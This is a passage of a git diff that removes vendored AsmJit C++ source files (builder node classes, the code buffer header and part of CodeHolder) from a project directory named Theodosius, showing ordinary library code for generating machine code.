- inline uint32_t id() const noexcept { return _baseInst.id(); } - //! Sets the instruction id to `id`, see `BaseInst::Id`. - inline void setId(uint32_t id) noexcept { _baseInst.setId(id); } - - //! Returns instruction options. - inline uint32_t instOptions() const noexcept { return _baseInst.options(); } - //! Sets instruction options. - inline void setInstOptions(uint32_t options) noexcept { _baseInst.setOptions(options); } - //! Adds instruction options. - inline void addInstOptions(uint32_t options) noexcept { _baseInst.addOptions(options); } - //! Clears instruction options. - inline void clearInstOptions(uint32_t options) noexcept { _baseInst.clearOptions(options); } - - //! Tests whether the node has an extra register operand. - inline bool hasExtraReg() const noexcept { return _baseInst.hasExtraReg(); } - //! Returns extra register operand. - inline RegOnly& extraReg() noexcept { return _baseInst.extraReg(); } - //! \overload - inline const RegOnly& extraReg() const noexcept { return _baseInst.extraReg(); } - //! Sets extra register operand to `reg`. - inline void setExtraReg(const BaseReg& reg) noexcept { _baseInst.setExtraReg(reg); } - //! Sets extra register operand to `reg`. - inline void setExtraReg(const RegOnly& reg) noexcept { _baseInst.setExtraReg(reg); } - //! Resets extra register operand. - inline void resetExtraReg() noexcept { _baseInst.resetExtraReg(); } - - //! Returns operand count. - inline uint32_t opCount() const noexcept { return _inst._opCount; } - //! Returns operand capacity. - inline uint32_t opCapacity() const noexcept { return _inst._opCapacity; } - - //! Sets operand count. - inline void setOpCount(uint32_t opCount) noexcept { _inst._opCount = uint8_t(opCount); } - - //! Returns operands array. - inline Operand* operands() noexcept { return (Operand*)_opArray; } - //! Returns operands array (const). - inline const Operand* operands() const noexcept { return (const Operand*)_opArray; } - - //! Returns operand at the given `index`. - inline Operand& op(uint32_t index) noexcept { - ASMJIT_ASSERT(index < opCapacity()); - return _opArray[index].as(); - } - - //! Returns operand at the given `index` (const). - inline const Operand& op(uint32_t index) const noexcept { - ASMJIT_ASSERT(index < opCapacity()); - return _opArray[index].as(); - } - - //! Sets operand at the given `index` to `op`. - inline void setOp(uint32_t index, const Operand_& op) noexcept { - ASMJIT_ASSERT(index < opCapacity()); - _opArray[index].copyFrom(op); - } - - //! Resets operand at the given `index` to none. - inline void resetOp(uint32_t index) noexcept { - ASMJIT_ASSERT(index < opCapacity()); - _opArray[index].reset(); - } - - //! Resets operands at `[start, end)` range. - inline void resetOpRange(uint32_t start, uint32_t end) noexcept { - for (uint32_t i = start; i < end; i++) - _opArray[i].reset(); - } - - //! \} - - //! \name Utilities - //! \{ - - inline bool hasOpType(uint32_t opType) const noexcept { - for (uint32_t i = 0, count = opCount(); i < count; i++) - if (_opArray[i].opType() == opType) - return true; - return false; - } - - inline bool hasRegOp() const noexcept { return hasOpType(Operand::kOpReg); } - inline bool hasMemOp() const noexcept { return hasOpType(Operand::kOpMem); } - inline bool hasImmOp() const noexcept { return hasOpType(Operand::kOpImm); } - inline bool hasLabelOp() const noexcept { return hasOpType(Operand::kOpLabel); } - - inline uint32_t indexOfOpType(uint32_t opType) const noexcept { - uint32_t i = 0; - uint32_t count = opCount(); - - while (i < count) { - if (_opArray[i].opType() == opType) - break; - i++; - } - - return i; - } - - inline uint32_t indexOfMemOp() const noexcept { return indexOfOpType(Operand::kOpMem); } - inline uint32_t indexOfImmOp() const noexcept { return indexOfOpType(Operand::kOpImm); } - inline uint32_t indexOfLabelOp() const noexcept { return indexOfOpType(Operand::kOpLabel); } - - //! \} - - //! \name Rewriting - //! \{ - - //! \cond INTERNAL - inline uint32_t* _getRewriteArray() noexcept { return &_baseInst._extraReg._id; } - inline const uint32_t* _getRewriteArray() const noexcept { return &_baseInst._extraReg._id; } - - ASMJIT_INLINE uint32_t getRewriteIndex(const uint32_t* id) const noexcept { - const uint32_t* array = _getRewriteArray(); - ASMJIT_ASSERT(array <= id); - - size_t index = (size_t)(id - array); - ASMJIT_ASSERT(index < 32); - - return uint32_t(index); - } - - ASMJIT_INLINE void rewriteIdAtIndex(uint32_t index, uint32_t id) noexcept { - uint32_t* array = _getRewriteArray(); - array[index] = id; - } - //! \endcond - - //! \} - - //! \name Static Functions - //! \{ - - //! \cond INTERNAL - static inline uint32_t capacityOfOpCount(uint32_t opCount) noexcept { - return opCount <= kBaseOpCapacity ? kBaseOpCapacity : Globals::kMaxOpCount; - } - - static inline size_t nodeSizeOfOpCapacity(uint32_t opCapacity) noexcept { - size_t base = sizeof(InstNode) - kBaseOpCapacity * sizeof(Operand); - return base + opCapacity * sizeof(Operand); - } - //! \endcond - - //! \} -}; - -// ============================================================================ -// [asmjit::InstExNode] -// ============================================================================ - -//! Instruction node with maximum number of operands. -//! -//! This node is created automatically by Builder/Compiler in case that the -//! required number of operands exceeds the default capacity of `InstNode`. -class InstExNode : public InstNode { -public: - ASMJIT_NONCOPYABLE(InstExNode) - - //! Continued `_opArray[]` to hold up to `kMaxOpCount` operands. - Operand_ _opArrayEx[Globals::kMaxOpCount - kBaseOpCapacity]; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `InstExNode` instance. - inline InstExNode(BaseBuilder* cb, uint32_t instId, uint32_t options, uint32_t opCapacity = Globals::kMaxOpCount) noexcept - : InstNode(cb, instId, options, opCapacity) {} - - //! \} -}; - -// ============================================================================ -// [asmjit::SectionNode] -// ============================================================================ - -//! Section node. -class SectionNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(SectionNode) - - //! Section id. - uint32_t _id; - - //! Next section node that follows this section. - //! - //! This link is only valid when the section is active (is part of the code) - //! and when `Builder::hasDirtySectionLinks()` returns `false`. If you intend - //! to use this field you should always call `Builder::updateSectionLinks()` - //! before you do so. - SectionNode* _nextSection; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `SectionNode` instance. - inline SectionNode(BaseBuilder* cb, uint32_t id = 0) noexcept - : BaseNode(cb, kNodeSection, kFlagHasNoEffect), - _id(id), - _nextSection(nullptr) {} - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the section id. - inline uint32_t id() const noexcept { return _id; } - - //! \} -}; - -// ============================================================================ -// [asmjit::LabelNode] -// ============================================================================ - -//! Label node. -class LabelNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(LabelNode) - - //! Label identifier. - uint32_t _labelId; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `LabelNode` instance. - inline LabelNode(BaseBuilder* cb, uint32_t labelId = 0) noexcept - : BaseNode(cb, kNodeLabel, kFlagHasNoEffect | kFlagActsAsLabel), - _labelId(labelId) {} - - //! \} - - //! \name Accessors - //! \{ - - //! Returns \ref Label representation of the \ref LabelNode. - inline Label label() const noexcept { return Label(_labelId); } - //! Returns the id of the label. - inline uint32_t labelId() const noexcept { return _labelId; } - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use labelId() instead") - inline uint32_t id() const noexcept { return labelId(); } -#endif // !ASMJIT_NO_DEPRECATED -}; - -// ============================================================================ -// [asmjit::AlignNode] -// ============================================================================ - -//! Align directive (BaseBuilder). -//! -//! Wraps `.align` directive. -class AlignNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(AlignNode) - - //! Align mode, see `AlignMode`. - uint32_t _alignMode; - //! Alignment (in bytes). - uint32_t _alignment; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `AlignNode` instance. - inline AlignNode(BaseBuilder* cb, uint32_t alignMode, uint32_t alignment) noexcept - : BaseNode(cb, kNodeAlign, kFlagIsCode | kFlagHasNoEffect), - _alignMode(alignMode), - _alignment(alignment) {} - - //! \} - - //! \name Accessors - //! \{ - - //! Returns align mode. - inline uint32_t alignMode() const noexcept { return _alignMode; } - //! Sets align mode to `alignMode`. - inline void setAlignMode(uint32_t alignMode) noexcept { _alignMode = alignMode; } - - //! Returns align offset in bytes. - inline uint32_t alignment() const noexcept { return _alignment; } - //! Sets align offset in bytes to `offset`. - inline void setAlignment(uint32_t alignment) noexcept { _alignment = alignment; } - - //! \} -}; - -// ============================================================================ -// [asmjit::EmbedDataNode] -// ============================================================================ - -//! Embed data node. -//! -//! Wraps `.data` directive. The node contains data that will be placed at the -//! node's position in the assembler stream. The data is considered to be RAW; -//! no analysis nor byte-order conversion is performed on RAW data. -class EmbedDataNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(EmbedDataNode) - - enum : uint32_t { - kInlineBufferSize = 128 - (sizeof(BaseNode) + sizeof(size_t) * 2) - }; - - size_t _itemCount; - size_t _repeatCount; - - union { - uint8_t* _externalData; - uint8_t _inlineData[kInlineBufferSize]; - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `EmbedDataNode` instance. - inline EmbedDataNode(BaseBuilder* cb) noexcept - : BaseNode(cb, kNodeEmbedData, kFlagIsData), - _itemCount(0), - _repeatCount(0) { - _embed._typeId = uint8_t(Type::kIdU8), - _embed._typeSize = uint8_t(1); - memset(_inlineData, 0, kInlineBufferSize); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns \ref Type::Id of the data. - inline uint32_t typeId() const noexcept { return _embed._typeId; } - //! Returns the size of a single data element. - inline uint32_t typeSize() const noexcept { return _embed._typeSize; } - - //! Returns a pointer to the data casted to `uint8_t`. - inline uint8_t* data() const noexcept { - return dataSize() <= kInlineBufferSize ? const_cast(_inlineData) : _externalData; - } - - //! Returns a pointer to the data casted to `T`. - template - inline T* dataAs() const noexcept { return reinterpret_cast(data()); } - - //! Returns the number of (typed) items in the array. - inline size_t itemCount() const noexcept { return _itemCount; } - - //! Returns how many times the data is repeated (default 1). - //! - //! Repeated data is useful when defining constants for SIMD, for example. - inline size_t repeatCount() const noexcept { return _repeatCount; } - - //! Returns the size of the data, not considering the number of times it repeats. - //! - //! \note The returned value is the same as `typeSize() * itemCount()`. - inline size_t dataSize() const noexcept { return typeSize() * _itemCount; } - - //! \} -}; - -// ============================================================================ -// [asmjit::EmbedLabelNode] -// ============================================================================ - -//! Label data node. -class EmbedLabelNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(EmbedLabelNode) - - uint32_t _labelId; - uint32_t _dataSize; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `EmbedLabelNode` instance. - inline EmbedLabelNode(BaseBuilder* cb, uint32_t labelId = 0, uint32_t dataSize = 0) noexcept - : BaseNode(cb, kNodeEmbedLabel, kFlagIsData), - _labelId(labelId), - _dataSize(dataSize) {} - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the label to embed as \ref Label operand. - inline Label label() const noexcept { return Label(_labelId); } - //! Returns the id of the label. - inline uint32_t labelId() const noexcept { return _labelId; } - - //! Sets the label id from `label` operand. - inline void setLabel(const Label& label) noexcept { setLabelId(label.id()); } - //! Sets the label id (use with caution, improper use can break a lot of things). - inline void setLabelId(uint32_t labelId) noexcept { _labelId = labelId; } - - //! Returns the data size. - inline uint32_t dataSize() const noexcept { return _dataSize; } - //! Sets the data size. - inline void setDataSize(uint32_t dataSize) noexcept { _dataSize = dataSize; } - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use labelId() instead") - inline uint32_t id() const noexcept { return labelId(); } -#endif // !ASMJIT_NO_DEPRECATED -}; - -// ============================================================================ -// [asmjit::EmbedLabelDeltaNode] -// ============================================================================ - -//! Label data node. -class EmbedLabelDeltaNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(EmbedLabelDeltaNode) - - uint32_t _labelId; - uint32_t _baseLabelId; - uint32_t _dataSize; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `EmbedLabelDeltaNode` instance. - inline EmbedLabelDeltaNode(BaseBuilder* cb, uint32_t labelId = 0, uint32_t baseLabelId = 0, uint32_t dataSize = 0) noexcept - : BaseNode(cb, kNodeEmbedLabelDelta, kFlagIsData), - _labelId(labelId), - _baseLabelId(baseLabelId), - _dataSize(dataSize) {} - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the label as `Label` operand. - inline Label label() const noexcept { return Label(_labelId); } - //! Returns the id of the label. - inline uint32_t labelId() const noexcept { return _labelId; } - - //! Sets the label id from `label` operand. - inline void setLabel(const Label& label) noexcept { setLabelId(label.id()); } - //! Sets the label id. - inline void setLabelId(uint32_t labelId) noexcept { _labelId = labelId; } - - //! Returns the base label as `Label` operand. - inline Label baseLabel() const noexcept { return Label(_baseLabelId); } - //! Returns the id of the base label. - inline uint32_t baseLabelId() const noexcept { return _baseLabelId; } - - //! Sets the base label id from `label` operand. - inline void setBaseLabel(const Label& baseLabel) noexcept { setBaseLabelId(baseLabel.id()); } - //! Sets the base label id. - inline void setBaseLabelId(uint32_t baseLabelId) noexcept { _baseLabelId = baseLabelId; } - - //! Returns the size of the embedded label address. - inline uint32_t dataSize() const noexcept { return _dataSize; } - //! Sets the size of the embedded label address. - inline void setDataSize(uint32_t dataSize) noexcept { _dataSize = dataSize; } - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use labelId() instead") - inline uint32_t id() const noexcept { return labelId(); } - - ASMJIT_DEPRECATED("Use setLabelId() instead") - inline void setId(uint32_t id) noexcept { setLabelId(id); } - - ASMJIT_DEPRECATED("Use baseLabelId() instead") - inline uint32_t baseId() const noexcept { return baseLabelId(); } - - ASMJIT_DEPRECATED("Use setBaseLabelId() instead") - inline void setBaseId(uint32_t id) noexcept { setBaseLabelId(id); } -#endif // !ASMJIT_NO_DEPRECATED -}; - -// ============================================================================ -// [asmjit::ConstPoolNode] -// ============================================================================ - -//! A node that wraps `ConstPool`. -class ConstPoolNode : public LabelNode { -public: - ASMJIT_NONCOPYABLE(ConstPoolNode) - - ConstPool _constPool; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `ConstPoolNode` instance. - inline ConstPoolNode(BaseBuilder* cb, uint32_t id = 0) noexcept - : LabelNode(cb, id), - _constPool(&cb->_codeZone) { - - setType(kNodeConstPool); - addFlags(kFlagIsData); - clearFlags(kFlagIsCode | kFlagHasNoEffect); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Tests whether the constant-pool is empty. - inline bool empty() const noexcept { return _constPool.empty(); } - //! Returns the size of the constant-pool in bytes. - inline size_t size() const noexcept { return _constPool.size(); } - //! Returns minimum alignment. - inline size_t alignment() const noexcept { return _constPool.alignment(); } - - //! Returns the wrapped `ConstPool` instance. - inline ConstPool& constPool() noexcept { return _constPool; } - //! Returns the wrapped `ConstPool` instance (const). - inline const ConstPool& constPool() const noexcept { return _constPool; } - - //! \} - - //! \name Utilities - //! \{ - - //! See `ConstPool::add()`. - inline Error add(const void* data, size_t size, size_t& dstOffset) noexcept { - return _constPool.add(data, size, dstOffset); - } - - //! \} -}; - -// ============================================================================ -// [asmjit::CommentNode] -// ============================================================================ - -//! Comment node. -class CommentNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(CommentNode) - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `CommentNode` instance. - inline CommentNode(BaseBuilder* cb, const char* comment) noexcept - : BaseNode(cb, kNodeComment, kFlagIsInformative | kFlagHasNoEffect | kFlagIsRemovable) { - _inlineComment = comment; - } - - //! \} -}; - -// ============================================================================ -// [asmjit::SentinelNode] -// ============================================================================ - -//! Sentinel node. -//! -//! Sentinel is a marker that is completely ignored by the code builder. It's -//! used to remember a position in a code as it never gets removed by any pass. -class SentinelNode : public BaseNode { -public: - ASMJIT_NONCOPYABLE(SentinelNode) - - //! Type of the sentinel (purery informative purpose). - enum SentinelType : uint32_t { - //! Type of the sentinel is not known. - kSentinelUnknown = 0u, - //! This is a sentinel used at the end of \ref FuncNode. - kSentinelFuncEnd = 1u - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `SentinelNode` instance. - inline SentinelNode(BaseBuilder* cb, uint32_t sentinelType = kSentinelUnknown) noexcept - : BaseNode(cb, kNodeSentinel, kFlagIsInformative | kFlagHasNoEffect) { - - _sentinel._sentinelType = uint8_t(sentinelType); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the type of the sentinel. - inline uint32_t sentinelType() const noexcept { - return _sentinel._sentinelType; - } - - //! Sets the type of the sentinel. - inline void setSentinelType(uint32_t type) noexcept { - _sentinel._sentinelType = uint8_t(type); - } - - //! \} -}; - -// ============================================================================ -// [asmjit::Pass] -// ============================================================================ - -//! Pass can be used to implement code transformations, analysis, and lowering. -class ASMJIT_VIRTAPI Pass { -public: - ASMJIT_BASE_CLASS(Pass) - ASMJIT_NONCOPYABLE(Pass) - - //! BaseBuilder this pass is assigned to. - BaseBuilder* _cb = nullptr; - //! Name of the pass. - const char* _name = nullptr; - - //! \name Construction & Destruction - //! \{ - - ASMJIT_API Pass(const char* name) noexcept; - ASMJIT_API virtual ~Pass() noexcept; - - //! \} - - //! \name Accessors - //! \{ - - //! Returns \ref BaseBuilder associated with the pass. - inline const BaseBuilder* cb() const noexcept { return _cb; } - //! Returns the name of the pass. - inline const char* name() const noexcept { return _name; } - - //! \} - - //! \name Pass Interface - //! \{ - - //! Processes the code stored in Builder or Compiler. - //! - //! This is the only function that is called by the `BaseBuilder` to process - //! the code. It passes `zone`, which will be reset after the `run()` finishes. - virtual Error run(Zone* zone, Logger* logger) = 0; - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // !ASMJIT_NO_BUILDER -#endif // ASMJIT_CORE_BUILDER_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/codebuffer.h b/src/Theodosius/asmjit/core/codebuffer.h deleted file mode 100644 index 76c86b1..0000000 --- a/src/Theodosius/asmjit/core/codebuffer.h +++ /dev/null @@ -1,126 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_CODEBUFFER_H_INCLUDED -#define ASMJIT_CORE_CODEBUFFER_H_INCLUDED - -#include "../core/globals.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [asmjit::CodeBuffer] -// ============================================================================ - -//! Code or data buffer. -struct CodeBuffer { - //! The content of the buffer (data). - uint8_t* _data; - //! Number of bytes of `data` used. - size_t _size; - //! Buffer capacity (in bytes). - size_t _capacity; - //! Buffer flags. - uint32_t _flags; - - //! Code buffer flags. - enum Flags : uint32_t { - //! Buffer is external (not allocated by asmjit). - kFlagIsExternal = 0x00000001u, - //! Buffer is fixed (cannot be reallocated). - kFlagIsFixed = 0x00000002u - }; - - //! \name Overloaded Operators - //! \{ - - //! Returns a referebce to the byte at the given `index`. - inline uint8_t& operator[](size_t index) noexcept { - ASMJIT_ASSERT(index < _size); - return _data[index]; - } - //! \overload - inline const uint8_t& operator[](size_t index) const noexcept { - ASMJIT_ASSERT(index < _size); - return _data[index]; - } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns code buffer flags, see \ref Flags. - inline uint32_t flags() const noexcept { return _flags; } - //! Tests whether the code buffer has the given `flag` set. - inline bool hasFlag(uint32_t flag) const noexcept { return (_flags & flag) != 0; } - - //! Tests whether this code buffer has a fixed size. - //! - //! Fixed size means that the code buffer is fixed and cannot grow. - inline bool isFixed() const noexcept { return hasFlag(kFlagIsFixed); } - - //! Tests whether the data in this code buffer is external. - //! - //! External data can only be provided by users, it's never used by AsmJit. - inline bool isExternal() const noexcept { return hasFlag(kFlagIsExternal); } - - //! Tests whether the data in this code buffer is allocated (non-null). - inline bool isAllocated() const noexcept { return _data != nullptr; } - - //! Tests whether the code buffer is empty. - inline bool empty() const noexcept { return !_size; } - - //! Returns the size of the data. - inline size_t size() const noexcept { return _size; } - //! Returns the capacity of the data. - inline size_t capacity() const noexcept { return _capacity; } - - //! Returns the pointer to the data the buffer references. - inline uint8_t* data() noexcept { return _data; } - //! \overload - inline const uint8_t* data() const noexcept { return _data; } - - //! \} - - //! \name Iterators - //! \{ - - inline uint8_t* begin() noexcept { return _data; } - inline const uint8_t* begin() const noexcept { return _data; } - - inline uint8_t* end() noexcept { return _data + _size; } - inline const uint8_t* end() const noexcept { return _data + _size; } - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_CODEBUFFER_H_INCLUDED - diff --git a/src/Theodosius/asmjit/core/codeholder.cpp b/src/Theodosius/asmjit/core/codeholder.cpp deleted file mode 100644 index 3c4154e..0000000 --- a/src/Theodosius/asmjit/core/codeholder.cpp +++ /dev/null @@ -1,1150 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/assembler.h" -#include "../core/codewriter_p.h" -#include "../core/logger.h" -#include "../core/support.h" - -#include -#include - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [Globals] -// ============================================================================ - -static const char CodeHolder_addrTabName[] = ".addrtab"; - -//! Encode MOD byte. -static inline uint32_t x86EncodeMod(uint32_t m, uint32_t o, uint32_t rm) noexcept { - return (m << 6) | (o << 3) | rm; -} - -// ============================================================================ -// [asmjit::LabelLinkIterator] -// ============================================================================ - -class LabelLinkIterator { -public: - ASMJIT_INLINE LabelLinkIterator(LabelEntry* le) noexcept { reset(le); } - - ASMJIT_INLINE explicit operator bool() const noexcept { return isValid(); } - ASMJIT_INLINE bool isValid() const noexcept { return _link != nullptr; } - - ASMJIT_INLINE LabelLink* link() const noexcept { return _link; } - ASMJIT_INLINE LabelLink* operator->() const noexcept { return _link; } - - ASMJIT_INLINE void reset(LabelEntry* le) noexcept { - _pPrev = &le->_links; - _link = *_pPrev; - } - - ASMJIT_INLINE void next() noexcept { - _pPrev = &_link->next; - _link = *_pPrev; - } - - ASMJIT_INLINE void resolveAndNext(CodeHolder* code) noexcept { - LabelLink* linkToDelete = _link; - - _link = _link->next; - *_pPrev = _link; - - code->_unresolvedLinkCount--; - code->_allocator.release(linkToDelete, sizeof(LabelLink)); - } - - LabelLink** _pPrev; - LabelLink* _link; -}; - -// ============================================================================ -// [asmjit::CodeHolder - Utilities] -// ============================================================================ - -static void CodeHolder_resetInternal(CodeHolder* self, uint32_t resetPolicy) noexcept { - uint32_t i; - const ZoneVector& emitters = self->emitters(); - - i = emitters.size(); - while (i) - self->detach(emitters[--i]); - - // Reset everything into its construction state. - self->_environment.reset(); - self->_baseAddress = Globals::kNoBaseAddress; - self->_logger = nullptr; - self->_errorHandler = nullptr; - - // Reset all sections. - uint32_t numSections = self->_sections.size(); - for (i = 0; i < numSections; i++) { - Section* section = self->_sections[i]; - if (section->_buffer.data() && !section->_buffer.isExternal()) - ::free(section->_buffer._data); - section->_buffer._data = nullptr; - section->_buffer._capacity = 0; - } - - // Reset zone allocator and all containers using it. - ZoneAllocator* allocator = self->allocator(); - - self->_emitters.reset(); - self->_namedLabels.reset(); - self->_relocations.reset(); - self->_labelEntries.reset(); - self->_sections.reset(); - self->_sectionsByOrder.reset(); - - self->_unresolvedLinkCount = 0; - self->_addressTableSection = nullptr; - self->_addressTableEntries.reset(); - - allocator->reset(&self->_zone); - self->_zone.reset(resetPolicy); -} - -static void CodeHolder_onSettingsUpdated(CodeHolder* self) noexcept { - // Notify all attached emitters about a settings update. - for (BaseEmitter* emitter : self->emitters()) { - emitter->onSettingsUpdated(); - } -} - -// ============================================================================ -// [asmjit::CodeHolder - Construction / Destruction] -// ============================================================================ - -CodeHolder::CodeHolder() noexcept - : _environment(), - _baseAddress(Globals::kNoBaseAddress), - _logger(nullptr), - _errorHandler(nullptr), - _zone(16384 - Zone::kBlockOverhead), - _allocator(&_zone), - _unresolvedLinkCount(0), - _addressTableSection(nullptr) {} - -CodeHolder::~CodeHolder() noexcept { - CodeHolder_resetInternal(this, Globals::kResetHard); -} - -// ============================================================================ -// [asmjit::CodeHolder - Init / Reset] -// ============================================================================ - -inline void CodeHolder_setSectionDefaultName( - Section* section, - char c0 = 0, char c1 = 0, char c2 = 0, char c3 = 0, - char c4 = 0, char c5 = 0, char c6 = 0, char c7 = 0) noexcept { - - section->_name.u32[0] = Support::bytepack32_4x8(uint8_t(c0), uint8_t(c1), uint8_t(c2), uint8_t(c3)); - section->_name.u32[1] = Support::bytepack32_4x8(uint8_t(c4), uint8_t(c5), uint8_t(c6), uint8_t(c7)); -} - -Error CodeHolder::init(const Environment& environment, uint64_t baseAddress) noexcept { - // Cannot reinitialize if it's locked or there is one or more emitter attached. - if (isInitialized()) - return DebugUtils::errored(kErrorAlreadyInitialized); - - // If we are just initializing there should be no emitters attached. - ASMJIT_ASSERT(_emitters.empty()); - - // Create a default section and insert it to the `_sections` array. - Error err = _sections.willGrow(&_allocator) | - _sectionsByOrder.willGrow(&_allocator); - if (err == kErrorOk) { - Section* section = _allocator.allocZeroedT
(); - if (ASMJIT_LIKELY(section)) { - section->_flags = Section::kFlagExec | Section::kFlagConst; - CodeHolder_setSectionDefaultName(section, '.', 't', 'e', 'x', 't'); - _sections.appendUnsafe(section); - _sectionsByOrder.appendUnsafe(section); - } - else { - err = DebugUtils::errored(kErrorOutOfMemory); - } - } - - if (ASMJIT_UNLIKELY(err)) { - _zone.reset(); - return err; - } - else { - _environment = environment; - _baseAddress = baseAddress; - return kErrorOk; - } -} - -void CodeHolder::reset(uint32_t resetPolicy) noexcept { - CodeHolder_resetInternal(this, resetPolicy); -} - -// ============================================================================ -// [asmjit::CodeHolder - Attach / Detach] -// ============================================================================ - -Error CodeHolder::attach(BaseEmitter* emitter) noexcept { - // Catch a possible misuse of the API. - if (ASMJIT_UNLIKELY(!emitter)) - return DebugUtils::errored(kErrorInvalidArgument); - - // Invalid emitter, this should not be possible. - uint32_t type = emitter->emitterType(); - if (ASMJIT_UNLIKELY(type == BaseEmitter::kTypeNone || type >= BaseEmitter::kTypeCount)) - return DebugUtils::errored(kErrorInvalidState); - - // This is suspicious, but don't fail if `emitter` is already attached - // to this code holder. This is not error, but it's not recommended. - if (emitter->_code != nullptr) { - if (emitter->_code == this) - return kErrorOk; - return DebugUtils::errored(kErrorInvalidState); - } - - // Reserve the space now as we cannot fail after `onAttach()` succeeded. - ASMJIT_PROPAGATE(_emitters.willGrow(&_allocator, 1)); - ASMJIT_PROPAGATE(emitter->onAttach(this)); - - // Connect CodeHolder <-> BaseEmitter. - ASMJIT_ASSERT(emitter->_code == this); - _emitters.appendUnsafe(emitter); - - return kErrorOk; -} - -Error CodeHolder::detach(BaseEmitter* emitter) noexcept { - if (ASMJIT_UNLIKELY(!emitter)) - return DebugUtils::errored(kErrorInvalidArgument); - - if (ASMJIT_UNLIKELY(emitter->_code != this)) - return DebugUtils::errored(kErrorInvalidState); - - // NOTE: We always detach if we were asked to, if error happens during - // `emitter->onDetach()` we just propagate it, but the BaseEmitter will - // be detached. - Error err = kErrorOk; - if (!emitter->isDestroyed()) - err = emitter->onDetach(this); - - // Disconnect CodeHolder <-> BaseEmitter. - uint32_t index = _emitters.indexOf(emitter); - ASMJIT_ASSERT(index != Globals::kNotFound); - - _emitters.removeAt(index); - emitter->_code = nullptr; - - return err; -} - -// ============================================================================ -// [asmjit::CodeHolder - Logging] -// ============================================================================ - -void CodeHolder::setLogger(Logger* logger) noexcept { -#ifndef ASMJIT_NO_LOGGING - _logger = logger; - CodeHolder_onSettingsUpdated(this); -#else - DebugUtils::unused(logger); -#endif -} - -// ============================================================================ -// [asmjit::CodeHolder - Error Handling] -// ============================================================================ - -void CodeHolder::setErrorHandler(ErrorHandler* errorHandler) noexcept { - _errorHandler = errorHandler; - CodeHolder_onSettingsUpdated(this); -} - -// ============================================================================ -// [asmjit::CodeHolder - Code Buffer] -// ============================================================================ - -static Error CodeHolder_reserveInternal(CodeHolder* self, CodeBuffer* cb, size_t n) noexcept { - uint8_t* oldData = cb->_data; - uint8_t* newData; - - if (oldData && !cb->isExternal()) - newData = static_cast(::realloc(oldData, n)); - else - newData = static_cast(::malloc(n)); - - if (ASMJIT_UNLIKELY(!newData)) - return DebugUtils::errored(kErrorOutOfMemory); - - cb->_data = newData; - cb->_capacity = n; - - // Update pointers used by assemblers, if attached. - for (BaseEmitter* emitter : self->emitters()) { - if (emitter->isAssembler()) { - BaseAssembler* a = static_cast(emitter); - if (&a->_section->_buffer == cb) { - size_t offset = a->offset(); - - a->_bufferData = newData; - a->_bufferEnd = newData + n; - a->_bufferPtr = newData + offset; - } - } - } - - return kErrorOk; -} - -Error CodeHolder::growBuffer(CodeBuffer* cb, size_t n) noexcept { - // The size of the section must be valid. - size_t size = cb->size(); - if (ASMJIT_UNLIKELY(n > std::numeric_limits::max() - size)) - return DebugUtils::errored(kErrorOutOfMemory); - - // We can now check if growing the buffer is really necessary. It's unlikely - // that this function is called while there is still room for `n` bytes. - size_t capacity = cb->capacity(); - size_t required = cb->size() + n; - if (ASMJIT_UNLIKELY(required <= capacity)) - return kErrorOk; - 